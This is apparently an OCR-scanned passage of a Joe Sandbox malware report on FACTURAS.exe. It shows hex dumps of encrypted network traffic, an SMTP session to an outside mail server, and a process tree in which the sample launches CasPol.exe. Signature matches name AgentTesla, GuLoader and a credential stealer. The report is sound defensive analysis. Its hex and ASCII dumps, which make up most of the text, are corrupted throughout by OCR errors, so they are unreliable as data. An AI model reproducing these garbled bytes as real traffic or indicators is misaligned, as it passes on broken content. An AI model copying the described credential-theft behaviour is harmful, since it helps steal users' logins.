2021-12-01 12:26:35 UTC 207 IN Data Raw: 14 63 fe 5e a2 5b cb ¢9 70 c5 8f 12 0a 7e 16 d4 69 dc fe ce 54 17 03 a0 74 b8 48 f6 2a d1 7e 19 db 97 e8 02 f2
66 f5 67 85 de 26 c3 a4 31 8b 6f 8a Oc 8d 41 03 90 4e 47 dd 47 a0 4a f2 37 fO b9 c1 55 f6 c1 f5 9e 1f ¢6 59 c2 7f 98 cc 2f bf
54 32 11 25 8c Oa 7d a7 €7 9b ac 4e 9a 58 2d 1d 06 b7 07 01 2f fe 7b c8 5f Oe 3f 99 65 c7 95 66 94 37 3f 23 76 0d 80 d8
37 6e 58 06 el d6 5e el 7b 50 63 55 fc 81 a4 97 23 24 7c ff ba d4 ee 04 3e 3b 18 f2 Of 2c 6a 48 29 el 23 c3 6¢ 7c f2 52 3f
eae957 61 abd4 70 al d1 a5 da 15 ff 93 ab 6a 07 fb 75 79 a4 d3 cb 55 fa b6 ee 9c 3 14 3b 60 ea 6e fd 96 14 07 88 7d
15 1f 92 2e ad 1d 28 79 24 80 d4 ad 75 b3 ad 64 91 57 25 c5 a6 8e 75 42 c0 79 0d ca f2 fe 93 95 5d f7 40 9a d4 bl b0 35
52 03 9a 5¢ 5d al 9a f2 58 53 d6 c0 17 80 b7
Data Ascii: cA[p~iTtH*~fg&1oANGGI7UY/T2%}NX-/{_?ef72#v7TnXPcU#$|>;,jH)#I|[R?WapjuyU; n}.(y$udW%uBy]@5R\]XS

2021-12-01 12:26:35 UTC 208 IN Data Raw: f2 de 12 fd cc 8a 1a 19 2c 53 4e 34 39 c8 d1 Oe d2 ea 9a 86 3d 1b 94 d5 6a 92 08 2d 7b a2 1b d1 60 d2 89 Ob
0856 2d d6 27 e8 9e 5f 48 ¢5 51 53 46 5b fd a0 5b 9d 53 2c ¢7 7e 0f 8b b3 18 50 6d 2c Oc cc 9a b2 01 96 39 45 2b 05 62
dc 23 2e al 65 f9 b8 07 93 60 80 21 9a 2d 42 b5 12 55 85 c6 8e a6 50 77 €0 34 2d Ob 20 d4 79 ad 7b 65 Oc 4b 3e 8d 39
60 b8 77 20 f3 02 a8 85 2d el 71 dd 52 97 20 56 a8 a5 e5 b5 28 fd a2 ¢5 ¢3 7d 12 ec 15 ba 4c 70 56 €8 60 de 38 ab b0 e8
f0 89 c1 b8 cc fe e0 10 e7 83 b7 47 db 43 15 73 9f 5¢ ab 92 2c 9d 64 63 33 20 ad 43 41 5b b3 b9 55 49 83 c6 aa 76 57 b3
fb 99 35 c0 72 5b 73 8f ee 17 12 fe 12 27 21 d5 Oe 8 8e c1 b8 03 ce 40 9e e6 6f ea Of 5f a7 9e 1f 76 de 87 27 2 00 ab b4
93 1d 31 9b e0 ec cf 7c al 20 c0 43 59 ff ab 6d 64 c6 93
Data Ascii: ,SN49=j-{'V-'_HQSF[[S,~Pm,9E+b#.e"I-BUPW4- y{eK>9'w -qR V(}LpV'8GCs\,dc3 CA[UIVW5r[s'!@0_v'1|
CYmd
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kBytes
Timestamp transferred Direction Data

2021-12-01 12:26:35 UTC 209 IN Data Raw: 4c 63 44 90 1e a6 25 08 7e ee 1f a8 f8 00 fc 72 53 56 6a 50 €8 8e 5f 1d 25 €8 09 b7 10 94 7a 05 08 39 bb e6
c9 ec 4c 4512 8a b8 bd 8d 70 60 79 f9 11 64 47 1e 48 73 96 32 96 2d Oe 85 bc d6 ef 8e 33 14 e6 fe 01 d3 a2 c1 ba 67 ff
d9 fa 21 67 9d 22 16 cf bc b1 44 1d 76 99 c5 ad 16 5e 21 84 39 fe fc 46 6d c1 11 60 11 e9 4f d9 43 63 18 57 €9 a3 b1 1f c7
fd 3f c5 3f 48 a7 e0 el 00 3e 34 b8 4f 8f 86 af 7b 31 2b b4 2e e2 b4 c6 b0 70 20 77 dc 39 30 d6 6a 4b 4a 91 62 b5 fe 3b e4
11 fO ad d7 96 a3 40 70 €7 56 91 d7 6b 40 a9 8b b0 5d €0 88 ee d7 17 b9 42 67 28 f2 2f e0 a9 e9 7c 42 8e c5 7e 2f 9b c6
d0 22 a8 df 85 7b 5e 78 5f 41 5a c¢3 0f b7 07 ac fc 01 56 9b d8 ce 17 Oc d1 10 b1 d8 5c b5 a4 6f 63 3d 17 79 66 d1 84 42 ff
3d 81 75 8a fe 47 71 ee 21 80 95 95 2b 57 22 3b
Data Ascii: LcD%~rSVjP_%z9LEp ydGHs2-3g!g"DvMN9FmM OCcW??H>40{1+.p wI0jKJIb; @pVk@]Bg(/|B~/"{*x_AZV\oc=
yfB=uGqg!+W";

2021-12-01 12:26:35 UTC 210 IN Data Raw: 49 9f Of 15 7a Ob e2 25 c¢3 2f 95 83 09 a7 €9 66 74 63 15 9a 29 al 83 80 36 47 68 c1 06 dd 20 e4 e6 23 05 49
dd f3 a7 7b 9c 0f 84 11 98 b1 53 b7 fc 78 e4 18 cd 43 f7 38 70 ea 53 02 8d 38 el 22 9b 53 94 d1 dO 06 93 a9 99 cf 46 al
21 b0 16 96 82 44 f9 3d 55 7e 1b c1 63 12 da 92 cb cf 36 e8 31 23 58 79 ee 40 6f 40 94 1d b4 aa 8f 6¢ 6d c4 b4 9f 08 f9 50
50 4a 73 46 7 a9 52 00 2b 7d 9e 32 bd 94 65 08 12 25 a4 3 db ff 52 5¢c Oe 96 b8 ad 8b 78 69 6b 7a 9c 76 5f 02 55 60 82
57 90 0Of 12 8b 3e 4c ff 9c b3 84 f5 89 05 d4 b6 d2 35 ec fe c4 fb 2a 49 9e 36 16 c5 bb bf 56 81 cf 86 c1 bb 7b 59 03 9a 2d
83 f345 76 el 0f 67 3f f7 4a d1 51 6b 07 41 ef al b8 00 57 54 3a db 3e 53 bc 64 6¢ 01 32 b4 f9 ea a8 c5 b3 ee €6 ae 2d
2e fa a8 44 f4 73 32 69 d9 31 30 d8 ff 94 d9 88 b2
Data Ascii: 1z%/ftc)6Gh #I{SxC8pS8"SF!D=U~c61#Xy@o@ImPPJsFR+}2e%R\xikzv_U "W>L5*I6V{Y-Evg?JQKAWT:>SdI2-
.Ds2i10

2021-12-01 12:26:35 UTC 211 IN Data Raw: 1f ac ¢3 9c a2 af 32 ac b4 e8 6e 6f 50 29 3b 7f 58 ac d4 75 ae {7 f8 f7 2c ca dc a2 1d 91 65 03 2c c4 78 a4 12
b2 fa 77 3b 10 42 aa 5f 94 f9 3d 3a a6 24 35 37 5e 9a c4 32 c7 1c 58 b3 18 73 69 43 63 58 37 4e 76 94 e7 ca 67 fe 48 31
40 6¢ 3f b3 4d 4e de 85 80 d3 85 e5 18 f7 63 ¢7 54 3a da 75 24 f0 83 ea eb 38 15 84 37 62 63 49 a6 10 df Ob 00 1e 3f 56
4 3b 3f d1 16 4d 9f 46 c4 e8 51 fc 27 ac 29 e3 47 26 83 ea 95 ¢6 59 cc c8 8a f8 3¢ f5 97 7e d5 2e Oc 3e Ob 1d b5 59 cb 96
a6 82 fe b1 dc b6 97 80 6a 9c b0 f0 32 a9 30 e5 2b 97 26 cb fb 76 d4 Oe 1f 5a 51 f8 39 ba 3d c7 df 3a 38 cb bl 45 14 37 48
f6 c7 42 b8 16 32 13 d6 82 6b 79 80 63 5a d1 b1 13 9a f6 b0 fa 54 b9 a5 e2 88 1e 96 64 36 c7 db 69 28 8e €6 44 92 6e c2
c2 ff Of e2 e7 83 8e a8 15 dd 3d aa 3a 01 bf c7
Data Ascii: 2noP);Xu,e,xw;B_=:$57"2XsiCcX7NvgH1@I1?MNcT:u$87bcl?V;?MFQ")G&Y<~.>Y|20+&vZQ9=:8E7HB2kycZ
Td6i(Dn=:

2021-12-01 12:26:35 UTC 212 IN Data Raw: 2f 4b 65 d5 4c 63 57 9d 10 a8 3e 1f fc 5¢c 13 a8 f8 06 e4 5¢c 5a 77 76 5d fc 2c f3 1e 24 68 9f b2 37 80 69 8a a3
3b b6 e0 cc c2 4e 54 03 09 Ob b1 98 70 72 6a 7e 95 7b cO af 4a 60 8a 5f 94 Of 1c 16 09 59 6a 6a 28 12 fe 99 10 c1 21 c9
b6 6f f1 d4 f5 32 67 91 2b 03 dc 3f Oe 57 93 dd 92 de b1 72 5f 04 88 25 9d €0 2d 75 ef 15 61 1c f4 45 d7 4c 79 11 54 fb b2
2c 8b d7 d7 26 cb 2c c4 1b f7 88 12 ad 15 7f 6a ae 94 3f 42 fa 2a 94 2f fd 38 78 b6 50 3d 75 59 fe 36 c1 ea 87 45 1f bd a8
79 e8 e3 83 a8 3a d0 98 bf 5¢c fe 32 45 9a df 46 55 39 7b a4 fc 78 88 ee d6 b2 a8 70 e7 b0 fb 24 d5 bb 7a 65 92 99 64 3e
3315 1d c4 82 09 d0 85 92 83 76 5d 5b c9 03 dO cc 8f 60 e0 89 89 86 de cd 15 34 ¢5 1d 3b 16 60 b0 8e 65 51 be 87 7a 77
52 64 41 fe 5d 84 67 0a b6 55 78 c0 2e e4 88 ff
Data Ascii: /KeLcW>\\Zwv],$h7i;NTprj~{J"_Yjj('o2g+?Wr_%-uaELyT,&,j?B*/8xP=uY6Ey:\2EFU9{xp$zed>3V][ 4; eQzwRdA]
gux.

2021-12-01 12:26:35 UTC 214 IN Data Raw: a5 f3 82 el d9 b8 5b 9d 14 60 6d 4d b4 17 d7 19 01 09 16 42 76 18 3e c6 71 5e 9d 5c db e8 48 fc 20 ad 01 el
57 b9 b3 ea 95 ¢6 59 98 c8 a6 fO 2b 6b 83 60 c6 3c 04 2e 81 12 97 55 c4 90 b3 9a f5 ac df b9 96 97 57 9a b0 e9 33 bb 3f
75 3f 96 3b ca fb 76 ¢7 16 12 5a 44 ¢9 2c 20 3d c8 5b ad 24 dc 22 87 Oc 37 4b 62 db 55 24 53 21 0a c5 89 6d 6a 98 68 5a
d2 ac 12 97 6 bb fb 4d b7 35 76 d5 09 f1 7e 42 c3 e6 77 34 81 fb 4b 8e 61 c5 c0 e8 0f e2 57 8f 8e 8e 0f ¢9 35 bd b2 9f bb
€8 99 45 bf 8 60 €3 70 al 36 1c 3e ef 12 62 dc 32 ¢8 05 7a 41 54 93 24 51 5 75 27 89 f1 82 c4 86 e4 60 ce a3 be 67 45
7 €5 01 69 ee 06 ce d9 67 6f 35 92 19 79 3a Oa 64 2a 2b 01 9b 46 cd 34 bd 7b 09 36 25 27 f6 6e 25 e6 cc bl c6 f9 c9 d5
a8 bd fa 45 6d 2e 5e 00 ef 25 19 99 8a f1 4b db 20 33
Data Ascii: [ mMBv>g™\H WY+k'<.UW3?u?;vZD, =[$"7KbU$S!mjhZM5v~Bw4KaW5E p6>b2zAT$QuU" " gEigo5y:d*+F4{6%
N%EmM.A%K 3

2021-12-01 12:26:35 UTC 215 IN Data Raw: 56 Of 9b 23 8e fa 59 60 fc 1b 7c 17 fd 43 d1 5f 63 1e 4c e6 a8 a5 00 bf d1 33 cd 23 4e ab e5 e3 02 22 ba 50 4d
bd 93 af 7a 6d 2e a6 ae af b4 cb a5 62 bd fe da 2d bf 84 e4 88 56 Oc bd af 63 eb fe 8c 2c be d4 9e b0 d3 b0 28 31 9c df 61
55 21 60 b8 73 ef 81 f2 5f fa a6 65 6a 35 e8 a8 f5 a7 e6 f9 8e 8e f8 7b 2f 99 96 cb 07 b4 db 85 79 96 76 5d 5b 21 44 c2 a7
9b 60 eb 9c 86 97 da d4 99 f5 c4 0f ab 59 fd bb b3 60 51 bd 2f 65 1e 54 51 53 6d 47 bc 7f ab f3 53 6b cb 2a 80 95 93 2b
5a 05 la a3 2c d4 8d 5d b9 d5 fa 09 99 15 ad Oe 99 e5 a0 ca 19 4d c1 Oe 37 70 9f dc c6 a0 12 9a 35 63 50 e8 4a 98 77 22
a2 2987 f6 e5 0d 70 fb 62 d5 f5 ¢7 06 1f 1f 26 0d 19 8d 81 d7 62 b0 b8 46 86 5f ff 11 04 46 eb fa ab 07 40 b9 45 4d bb b4
8b bb 1f bb e0 3f 18 4f 40 11 48 b5 95 81 e2
Data Ascii: V#Y'|C_cL3#N"PMzm.b-Vc,(1aU!'s_ej5{/yv][!D’Y Q/eTQSMGSk*+Z,]M7p5cPIw")pb&bF_F@EM?0@H

2021-12-01 12:26:35 UTC 216 IN Data Raw: a6 c7 19 25 ce fd da 47 a5 17 28 16 cbh 87 61 98 9e 66 48 57 aa 1f 1f 77 b1 a7 51 ab 27 f3 95 19 98 76 5b cO ff
6b 29 99 e6 47 93 63 c6 cf ea 1d 60 ea 71 80 a6 08 dc 20 a0 33 06 be da e8 05 aa f8 e7 7d 73 b5 bc 59 30 ee 0d fe 7e 39
dc 9a 6e cf ee 14 63 5d f5 6f 46 93 74 03 cd 86 e7 6d cf a7 b2 63 43 {7 f1 0d ee ab 06 c6 d2 6a 41 39 89 93 3c 38 2a 66
26 2f 0Oe 94 47 c6 3e b6 7b 05 33 04 2b fe 6e 2d 7 ca bl c3 6 c9 c6 aa b2 f6 51 69 3c 5e 0f f6 bl 9f 9a 97 eb c2 46 01 3c
1b 3e 7b a3 23 ca fd 3b f0 87 8a 57 d6 36 9f 98 28 8b d9 1d 8b 11 7e 06 7d b8 ce 2f 96 85 04 20 6f 76 e5 8b 10 9d 29 a4
96 23 b6 41 66 d2 Oa c8 37 f6 65 b0 9b 5e a6 6d bf 75 03 16 9d Oe 94 2d ef b1 fb 65 ff 1b 7b cc f3 23 79 e6 45 Oc b0 2d fe
37 1b f6 96 d1 cb 1a 91 bf 99 d5 74 a8 34 a4 03
Data Ascii: %G(afHWwQ'v[K)Gc'q 3}sY0~9nc]oFtmcCjA9<8*f&/G>{3+n-Qi< F<>{#;W6(~}/ ov)#Af7e mu-e{#yE-7t4

2021-12-01 12:26:35 UTC 218 IN Data Raw: 05 81 Ob 01 6c bd ce 01 56 €6 al d7 97 f9 99 eb bc 47 59 c¢3 3b ad 80 7f fc 01 67 94 5d 38 9b fd da 1e 39 3f 6e
35 7b 74 ¢3 ¢7 14 7f 70 53 63 d3 93 d6 05 84 80 d6 5f 64 4e ce 99 08 78 2d 51 2b 1d a5 33 ¢5 09 b6 b3 d9 d2 08 8b 94 5d
11 36 0a a4 cd 8b 19 49 8e 1c ff d7 c9 a0 bc 87 64 a6 7a bd e8 cc d4 64 22 be a0 c9 e5 fe 12 fc 49 68 c6 ee dd 99 18 14
08 07 0d 8d 83 8e 6e b0 b8 47 86 5¢ f8 0a 8d d1 eb fa 8b 06 72 b0 42 de a7 2e 80 ae 99 5f e8 28 84 d3 4f Ob c0 5f 92 89
ed 2b 2b 4b 5b 22 57 72 9¢ 17 bb d8 27 aa 4e 3a €6 5d Oe 39 ac d3 19 8a a2 l1a a5 89 ed 66 78 d9 b8 36 6d dc 5d dd 6f
ac e8 3 fd 21 55 f1 bb 02 ea 67 04 28 ¢5 79 aa 03 3a c4 75 06 17 5d bd d7 70 ff 31 1a a6 23 29 bf b7 88 45 fa ce 15 59 a9
1le 68 eb cd el 85 37 4c 70 8e c2 d5 68 €9 5c af 94 68
Data Ascii: IVGY;g]89?n5{tpSc_dNx-Q+3]6ldzd"IhnG\rB._(O_++K["Wr'N:]9fx6m]o!Ug(y:u]p1#)EYh7Lph\h

2021-12-01 12:26:35 UTC 219 IN Data Raw: bb 49 4a fe f8 02 6a 3a 0f dc 5b 67 42 3c 8¢ 89 b5 al 04 75 a5 b8 Oc 96 47 df b4 b6 62 8¢ 32 2c 34 fO 6e 38 e7
c5 be cd e4 d0 5a 05 bb ee cc 6b 27 76 0a f5 b3 83 9¢ 83 e4 ea 40 33 bc 87 3d 78 ab 34 ca ff 1f e0 16 8a 4e 50 9f 99 89
a8 87 c2 b6 0a 00 6a 96 67 38 d5 ae 9¢ 89 13 bl 6¢ 5a 6d 2a 12 9c 3a 2d ba bd 32 58 63 db Ob d3 3a fe 7a a7 04 5e bc
e7b2648b 1291 19 95 ac 41 a9 fb 74 e6 Oa e6 4d ec 04 6f f9 4b 18 b6 29 90 26 {3 52 ff cd f4 06 aa b5 b7 dd 65 a8 32 bl
Oe 85 9a 4a d0 28 5f 61 17 dc 77 Oe c4 88 f6 dd 36 e8 24 29 45 6a de 5e 68 6a 92 03 a3 29 1e 79 e5 0d bb 3 13 e5 4f 4d
4a 6a 55 f2 b3 5b 14 33 6e 9e 37 31 90 7b 08 1c bd b9 e8 cO e0 53 44 00 e2 b0 93 88 6d 64 76 7c 9d 6f 5f 1b 42 69 82 4a
96 10 0b 99 34 43 e2 84 32 16 f1 99 14 57 a6 d2 30 68
Data Ascii: 1Jj:[gB<uGb2,4n8Zk'v@3=x4NPjg8IZm*:-2Xc:z"dAtMoK)&Re2J(_aw6$)Ej hj)yOMJjU[3n71{SDmdv|o_B
iJ4C2W0h
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kBytes
Timestamp

2021-12-01 12:26:35 UTC 220

2021-12-01 12:26:35 UTC 221

SMTP Packets

Timestamp

Dec 1, 2021 13:28:11.632350922 CET

Dec 1, 2021 13:28:11.632638931 CET

Dec 1, 2021 13:28:11.645721912 CET

Dec 1, 2021 13:28:11.645993948 CET
Dec 1, 2021 13:28:11.663474083 CET

Code Manipulations

Statistics

Behavior

)

System Behavior

transferred

Direction

IN

Source
Port

587

49815

587

49815
587

Click to jump to process

Data

Data Raw: fa cb d8 79 2c b0 a8 c7 f8 f0 1c f2 4a 60 db e0 d5 84 16 1d 28 03 Oc 9c 03 66 60 be b6 4f 81 5a f1 03 85 db e3
f2 a3 01 60 b8 57 cc 26 b7 81 bc 19 b3 fd 3a 05 4a 4e 19 40 b3 95 83 e4 39 aa 3e 59 25 50 78 95 1e bc d1 36 2b 77 33 f4
dd e2 3f ac d1 1e 97 a7 12 af a9 ed 73 6a 58 21 37 7f 5¢c b1 d1 68 ab ea fd ff 3d 48 ed a6 1e f7 65 03 28 c7 78 a4 12 bb fd
72 26 15 5f af 57 9c f1 38 3a a4 21 3b 3f 5b 9a c5 2f ¢2 12 5f b6 1b 72 e9 df 61 70 2a 49 f8 91 e2 d7 62 db 4d 2c c5 62 23
af 50 4b cc 07 95 c1 07 f4 05 f4 7e da 49 27 c¢7 77 26 a6 80 ef 4b 39 1b 99 34 60 7e 4c a0 10 dd 17 1c Oc Oa 51 f4 38 22
d4 18 2b 98 41 47 5 54 el 22 a4 21 e3 45 3b 86 7 90 db 5¢ 95 cf a0 ed 2e 77 1le 7c db 20 19 2c 89 14 b7 57 c5 e ae 9f
fb ac d9 b8 8b 85 62 94 ad 5 be b5 22 67 aa 1f

Data Ascii: y,J'(FOZ" W&:IN@9>Y%Px6+w3?sjX!7\h=He(xr&_ W8:!;?[/_rap*IbM,b#PK~I'w&K94 ~LQ8"+AGT"IE;\.w| ,Wb"g

Data Raw: 34 a3 25 a5 a7 80 17 65 46 f3 21 f4 00 84 02 d3 6¢ 3e c7 9b df 03 c4 6b fc 70 f0 d9 2a d8 95 28 9d 7c 9d 21 ca
480892 2b 7c 85 07 82 55 d2 3c e8 a2 aa 63 €9 97 a5 a8 la ee 5f cf 6e eb ec 6b ee 46 36 10 78 a4 49 3c {8 8d f4 el Ob
d4 Oc 0d 65 57 f4 30 08 3b e6 7b d5 5f 6b 1a bd 63 cf 80 67 95 37 36 32 05 76 €3 a4 7e 3c 17 48 b0 9c 43 f0 18 7d 7c 50
cc 97 f9 ef 44 61 32 b7 95 ¢7 f9 05 12 1f 30 ee Oc 2d 20 45 64 b8 78 f2 7e 7d f2 51 29 86 f7 Oc 18 fe 97 05 d3 a3 c0 b4 61
ff da fb 2f 69 9f 25 16 cd bd bf 55 9d d3 9a c3 bf 7b 58 01 86 2b 93 f2 44 68 e1 13 61 1f f5 4b d9 42 6b 16 51 ee a0 ad 12
d6 d9 3b c5 3e 46 ae e5 el 00 2c b4 79 4a af 86 bd fb 4 2f b4 2f ef ba c5 b0 70 3c 67 db 3f 3e c4 ea 86 58 11 b3 a7 7e ee
6 91 29 a3 d1 96 a2 52 fO 3a 58 94 d7 6b 52

Data Ascii: 4%eF![>kp*(|!H+|U<c_nkF6xI<eWO0;{_kcg762v~<HC}|PDa20- Edx~}Q)a/i%U{X+DhaKBkQ;>F,yJ//p<g?>
X~)R:XkR

Dest

Port Source IP Dest IP Commands

49815 116.202.203.61  192.168.11.20 220-server.infomedya.net ESMTP Exim 4.94.2 #2 Wed, 01 Dec 2021
15:28:11 +0300
220-We do not authorize the use of this system to transport unsolicited,

220 and/or bulk e-mail.

587 192.168.11.20 116.202.203.61 EHLO 648351

49815 116.202.203.61  192.168.11.20 250-server.infomedya.net Hello 648351 [102.129.143.30]
250-SIZE 52428800

250-8BITMIME

250-PIPELINING

250-PIPE_CONNECT

250-STARTTLS

250 HELP

587 192.168.11.20 116.202.203.61  STARTTLS

49815 116.202.203.61  192.168.11.20 220 TLS go ahead

Analysis Process: FACTURAS.exe PID: 592 Parent PID: 7644

General

Start time:

Start date:

Path:

Wow64 process (32bit):
Commandline:
Imagebase:

File size:

Copyright Joe Security LLC 2021

13:25:53

01/12/2021
C:\Users\user\Desktop\FACTURAS.exe
true
"C:\Users\user\Desktop\FACTURAS.exe"
0x400000

152720 bytes
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MD5 hash:

AB82F374210A08B2221D5E1807400A32

Has elevated privileges: true

Has administrator privileges: true

Programmed in: Visual Basic

Reputation: low
File Activities Show Windows behavior
File Created
Registry Activities Show Windows behavior
Key Created
Key Value Created
Analysis Process: CasPol.exe PID: 432 Parent PID: 592

General

Start time: 13:26:13

Start date: 01/12/2021

Path: C:\Windows\Microsoft. NET\Framework\v4.0.30319\CasPol.exe

Wow64 process (32bit):
Commandline:

Imagebase:

File size:

MDS5 hash:

Has elevated privileges:
Has administrator privileges:

Programmed in:

false
"C:\Users\user\Desktop\FACTURAS.exe"
0x480000

108664 bytes
914F728C04D3EDDD5FBA59420E74E56B
true

true

C, C++ or other language

Reputation: moderate
Analysis Process: CasPol.exe PID: 1268 Parent PID: 592
General
Start time: 13:26:14
Start date: 01/12/2021
Path: C:\Windows\Microsoft. NET\Framework\v4.0.30319\CasPol.exe

Wow64 process (32bit):
Commandline:

Imagebase:

File size:

MD5 hash:

Has elevated privileges:
Has administrator privileges:
Programmed in:

Yara matches:

Reputation:

File Activities

Copyright Joe Security LLC 2021

true
"C:\Users\user\Desktop\FACTURAS.exe"
0xcc0000

108664 bytes
914F728C04D3EDDD5FBA59420E74E56B
true

true

.Net C# or VB.NET

e Rule: JoeSecurity_AgentTesla_1, Description: Yara detected AgentTesla, Source:
00000005.00000002.29215652303.000000001E1A1000.00000004.00000001.sdmp,
Author: Joe Security

e Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer,
Source:
00000005.00000002.29215652303.000000001E1A1000.00000004.00000001.sdmp,
Author: Joe Security

e Rule: JoeSecurity_GuLoader_2, Description: Yara detected GuLoader, Source:
00000005.00000000.24364934028.0000000001100000.00000040.00000001.sdmp,
Author: Joe Security

moderate

Show Windows behavior
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File Created

File Written

File Read

Analysis Process: conhost.exe PID: 7140 Parent PID: 1268

General

Start time: 13:26:14

Start date: 01/12/2021

Path: C:\Windows\System32\conhost.exe

Wow64 process (32bit): false

Commandline: C:\Windows\system32\conhost.exe Oxffffffff -ForceV1

Imagebase: 0x7ff6a5840000

File size: 875008 bytes

MD5 hash: 81CA40085FC75BABD2C91D18AA9FFAGS

Has elevated privileges: true

Has administrator privileges: true

Programmed in: C, C++ or other language

Reputation: moderate

File Activities Show Windows behavior

Disassembly

Code Analysis
Copyright Joe Security LLC Joe Sandbox Cloud Basic 34.0.0 Boulder Opal
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